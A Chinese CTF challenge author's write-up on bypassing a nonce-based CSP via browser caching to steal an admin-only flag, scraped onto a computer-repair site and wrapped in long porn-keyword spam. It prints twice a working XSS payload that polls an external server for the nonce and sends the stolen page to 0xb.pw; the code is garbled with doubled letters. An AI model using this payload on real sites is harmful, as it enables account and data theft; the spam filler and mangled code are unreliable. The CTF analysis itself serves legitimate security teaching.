国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
pwnhub 絕對防御出題思路和反思

作者: 佚名  日期:2017-04-27 16:30:43   來源: 本站整理

 wnhub 絕對防御 出題思路和反思。由于整個站最初的時候其實是用來測試漏洞的,所以被改成題目的時候很多應該注意的地方沒有仔細推敲,在看了別人wp后仔細研究了一下,我發現題目本身漏洞就要求admin和xss點在同源下,整個漏洞被改成ctf題目是存在沖突的,再加上flag所在的地方使用了referer check本身就有問題,導致題目有了很多非預期解法,深感抱歉。

下面就完整的整理一下wp和所有的非預期攻擊方式

\

初逛站里面什么都沒有,聊天版的地方存在基本的xss,復寫就能繞過,但有 簡單的csp,允許unsafa-inline,session是httponly的,復寫構造xss讀admin頁面的消息(讓admin去請求api)

獲取頁面內容后,得到了后面站的地址,打開看看返回是這樣的

Wow, good guys,maybe you want /adminshigesha233e3333/#admin

\

再看看flag.php

hello, hacker, only admin can see it

只有管理員才能看,這里如果在user.php構造xss去讀flag的內容的話,會得到我的提示

nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

這里的提示本來意思是只有在admin目錄下才能讀到flag.php的內容,但是沒想到有一些人,在這里去日了我的判斷,而不是構造別的xss。

事實證明referer check不可取,切記切記

這位大佬就是攻擊了我的referer check,藍貓也是類似的方式

https://pwnhub.cn/media/writeup/121/79edbf2c-75da-48bb-8f5d-563d0048849b_b8b69656.pdf

下面我們回歸到正確的攻擊思路上去。

我們發現index.php是存在xss的樣子,但是后臺開啟了csp

\

這是一個比較特別的nonce script csp,屬于新型的csp,每次請求服務器都會更換新的字符串,如果字符串不匹配,那么腳本就會被攔截。(后面我會再發文章講這個CSP的攻擊方式)

我不知道盲測這個漏洞是怎么測試的,但你可能需要一篇文章

xss.html" data-ke-src="http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html" target="_blank">http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

文章中提到了一點,如果瀏覽器并沒有請求后臺,那么csp就不會刷新,那么怎么才能讓它不刷新呢?瀏覽器緩存!

當服務端做出一部分配置的之后,如果頁面內容不涉及到后臺(僅涉及到前臺的變化),那么瀏覽器就會從緩存中加載內容。

\

具體瀏覽器緩存的機制就不多解釋了,我們發現后臺開啟了緩存機制,雖然只有30s,但是已然足夠了。

這里其實思路就呼之欲出了,先iframe請求一次,然后解出nonce的值,添加到script的屬性中,執行任意xss。

由于沒有同源策略的攔截,所以出現了很多問題,類似于wupco的payload,但小m的和cola的是正解。

https://pwnhub.cn/media/writeup/123/909db9f9-1bb4-4c5b-a697-b0fa223ed376_a599515c.pdf

下面貼出,跨域情況下的處理方式以及payload,也是我出題的初衷。

根據前面文章中的poc,我們重新梳理試圖讀取flag.php的流程。

1、向admin發送payload,admin頁面需要打開一個iframe目標為后臺并輸入一個form,用textrea吃掉頁面內容

IFrame

由于我們需要接收到這部分信息,而且后臺開啟csp,無法發送跨域請求,所以在自己服務器構造nonce.php文件解析請求,返回nonce字符串。(nonce.php必須保證保存字符串,在之后的請求中返回,在原poc中,這里是通過session保留的,但是我在實際測試的時候遇到了問題,我改成了文件儲存)

2、我們需要不斷請求nonce.php,并點擊提交按鈕,當返回有內容的時候,開啟新的iframe標簽,插入script標簽,讀取flag.php,以跳轉的方式傳出。

functioonn getNoonnce() { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://115.28.78.16/noonnce.php", false); xhr.send(); return xhr.respoonnseText; } setTimeout(pollNoonnce, 1000); functioonn pollNoonnce() { var noonnce = getNoonnce(); if (noonnce == "") { setTimeout(pollNoonnce, 1000); } else { attack(noonnce); } } functioonn attack(noonnce) { var iframe = document.createElement("iframe"); var url = "http://127.0.0.1/xsstest_new/admin/#" var payload = "var xmlhttp = new XMLHttpRequest(); xmlhttp.open(\"GET\", \"flag.php\", false); xmlhttp.send(); var mess = xmlhttp.respoonnse; var xhr = new XMLHttpRequest(); locatioonn.href=\"http://0xb.pw?\"+mess;"; var validPayload = "alert('If you see this alert, CSP is not active')" iframe.src = url + payload + validPayload; document.body.appendChild(iframe); } setTimeout("document.getElementById('frame').coonntentWindow.document.forms[0].submit();", 3000);

{C}

由于xhr需要跨域請求nonce.php,而前臺的站中含有csp,這是一個預設的坑,細心的人不難發現,用戶的信息是通過請求api/getmessage.php獲取的

\

我們可以注意這個頁面并沒有csp,所以構造跳轉到getmessage.php,然后服務端設置 header("Access-Control-Allow-Origin:*"); ,成功繞過

全部payload如下

IFrame

if(locatioonn.pathname != "/api/getmessage.php"){ window.locatioonn.href = "http://" + document.domain + "/api/getmessage.php" } functioonn getNoonnce() { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://115.28.78.16/noonnce.php", false); xhr.send(); return xhr.respoonnseText; } setTimeout(pollNoonnce, 1000); functioonn pollNoonnce() { var noonnce = getNoonnce(); if (noonnce == "") { setTimeout(pollNoonnce, 1000); } else { attack(noonnce); } } functioonn attack(noonnce) { var iframe = document.createElement("iframe"); var url = "http://127.0.0.1/xsstest_new/adminshigesha233e3333/#" var payload = "var xmlhttp = new XMLHttpRequest(); xmlhttp.open(\"GET\", \"flag.php\", false); xmlhttp.send(); var mess = xmlhttp.respoonnse; var xhr = new XMLHttpRequest(); locatioonn.href=\"http://0xb.pw?\"+mess;"; var validPayload = "alert('If you see this alert, CSP is not active')" iframe.src = url + payload + validPayload; document.body.appendChild(iframe); } setTimeout("document.getElementById('frame').coonntentWindow.document.forms[0].submit();", 3000);

\

但事實上,題目有個非常有趣的非預期漏洞。

如果你注意觀察admin目錄的index.php頁面

\

xss點和script標簽在同一行,所以就有了一個新的問題,如果我們構造一個

<script>  標簽,然后沒有閉合,就可以吃掉后面的標簽,把后面script標簽的屬性保留

最后貼下virink的wp

https://pwnhub.cn/media/writeup/119/45db4b4d-53dc-47de-afe8-e821bd070dfa_7032e508.pdf

這次的非預期問題實在抱歉,下次出題一定仔細思考下漏洞的流程和問題,還是太菜了Orz

 

</script>



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    国内精品中文字幕| 午夜精品久久久久久| 成人av综合网| 思思99re6国产在线播放| 一个人看的www视频免费观看| 7777久久亚洲中文字幕| 国产精品久久夜| 老司机精品久久| 福利小视频在线| 色av一区二区三区| 三级福利视频| 免费一级suv好看的国产网站 | 一本色道婷婷久久欧美| 欧美成人三级在线| 免费成人小视频| 欧美3p在线观看| 成人精品一区二区三区免费| 午夜老司机福利| 好吊操这里只有精品| 青青青视频在线免费观看| 午夜精品一区二区三区四区| 成人黄色av网站| 欧美一级片在线| 风间由美性色一区二区三区| 国内揄拍国内精品久久| 日韩伦理电影网站| 日韩av地址| 中文字幕免费在线视频| 亚洲国产精品二区| 亚洲美女在线播放| 成人精品小视频| 亚洲一区二区久久久久久久| 97超碰蝌蚪网人人做人人爽| 欧美成人h版在线观看| 中文字幕在线国产精品| 亚洲一区二区在线播放相泽| 亚洲国产成人私人影院tom| 亚洲国产精品久久久天堂| 蜜臀av在线播放| 天堂网www在线网| 天堂在线视频免费| 成人毛片视频免费看| www.五月婷婷| 国产黄色片免费| 日韩一区二区三区不卡| 天天干,夜夜操| 久久综合香蕉| 日韩综合另类| 欧美性受xxx黑人xyx性爽| 欧美激情第一区| 日韩一级免费在线观看| 国产美女在线精品免费观看| 亚洲最新av网址| 亚洲日本成人女熟在线观看| 一区二区三区国产视频| 日韩亚洲第一页| 欧美视频一区二区三区四区| 欧美日韩亚洲高清一区二区| 日韩欧美电影一区| 国产一区二区精品丝袜| 欧美成人免费一级人片100| 国产69精品久久久| 国产精品久久久久久久电影| 51国产成人精品午夜福中文下载| 一区二区三欧美| 色伦专区97中文字幕| 在线综合视频播放| 欧美成人精品3d动漫h| 亚洲奶大毛多的老太婆| 久久高清视频免费| 国产成人自拍视频在线观看| 99久久精品无码一区二区毛片 | 免费一区二区三区| 成人午夜视频免费观看| 99精品视频播放| 在线免费播放av| 污污视频网站免费观看| 午夜影院免费版| 99热在线观看精品| 精品一区二区视频在线观看 | 亚洲美女网站| 国产成人在线视频播放| 韩国一区二区三区在线观看| 日韩黄色在线观看| 91免费观看在线| 亚洲电影一级黄| 亚洲国产日韩精品在线| 3344国产精品免费看| 久久久99爱| 国产精品无码专区av在线播放| 亚洲国产综合视频| 亚洲第一精品在线观看| 国内偷拍精品视频| 亚州av综合色区无码一区| 永久免费看黄网站| 91在线视频国产| 福利小视频网站| 超级黄的软件| 日本在线视频网| 欧美男男gaygay1069| 欧美精选视频一区二区| 日韩成人a**站| 高清成人在线观看| 欧美中文字幕一区二区三区| 精品国产一区二区在线| 国模精品娜娜一二三区| 好看的日韩精品| 国产精品9999久久久久仙踪林| 青青视频免费在线| 男女h黄动漫啪啪无遮挡软件| 茄子视频成人在线观看| 欧美乱偷一区二区三区在线| 成人性生生活性生交12| 青青草偷拍视频| 视频一区二区精品的福利| 欧美女优在线观看| 精品无人区一区二区| 韩国av一区二区| 丰满放荡岳乱妇91ww| 色一区在线观看| 97在线免费观看| 国产精品日日摸夜夜添夜夜av| 正在播放91九色| 男人操女人免费| 国产无精乱码一区二区三区| 国产精品178页| 黄页在线免费看| 黄页网站在线播放| 免费资源在线观看| 国产精品对白久久久久粗| 国产一区二区三区日韩| 91免费视频网| 日韩成人久久久| 麻豆久久久av免费| 女人被狂躁c到高潮| 少妇高潮一区二区三区69| 蝌蚪视频在线播放| 欧美日韩精品一区二区视频| 久久久亚洲午夜电影| 在线视频一区二区| 国产女主播av| 东京热一区二区三区四区| 女人被爽到呻吟gif动态图下载| 中文字幕一区二区三区日韩精品| 久久亚洲影视| 亚洲欧美自拍偷拍| 久久久久久久香蕉网| 成人91免费视频| 无码人妻少妇色欲av一区二区| 精品国产va久久久久久久| 91在线品视觉盛宴免费| 欧美日韩在线精品一区二区三区激情综合| 亚洲欧洲另类| 91麻豆精品国产91久久久资源速度| 97se视频在线观看| 国产艳俗歌舞表演hd| 国产卡二和卡三的视频| 四虎国产精品免费久久| 92国产精品观看| 久久久久久久999| 中文字幕 欧美日韩| www.xxxx日本| 日本黄色不卡视频| 日本网站在线免费观看视频| 夜久久久久久| 精品少妇一区二区三区免费观看 | 国产一区二区三区黄| 精品国产大片大片大片| 天天操夜夜逼| caoporn97在线视频| 国产精品久久久久av蜜臀| 国产亚洲欧美激情| 911精品产国品一二三产区| 国产尤物91| 国产微拍精品一区| 搞黄视频免费在线观看| 一区二区三区四区视频免费观看| 久久这里都是精品| 91国内在线视频| www.色多多| 亚洲精品97久久中文字幕| 不卡的av影片| www成人在线观看| 国产精品夫妻激情| 成人在线一级片| 4hu四虎永久在线观看| 丁香婷婷久久| 亚洲人妖av一区二区| 国产精品久久7| 影音先锋在线国产| 奇米影视狠888| 激情在线视频播放| 国产成人av影院| 欧美中文字幕视频在线观看| 玩弄中年熟妇正在播放| 亚洲黄色在线播放| 国产91精品在线| 欧美日韩午夜视频在线观看| 欧美亚洲视频在线看网址| 中文字幕成人动漫|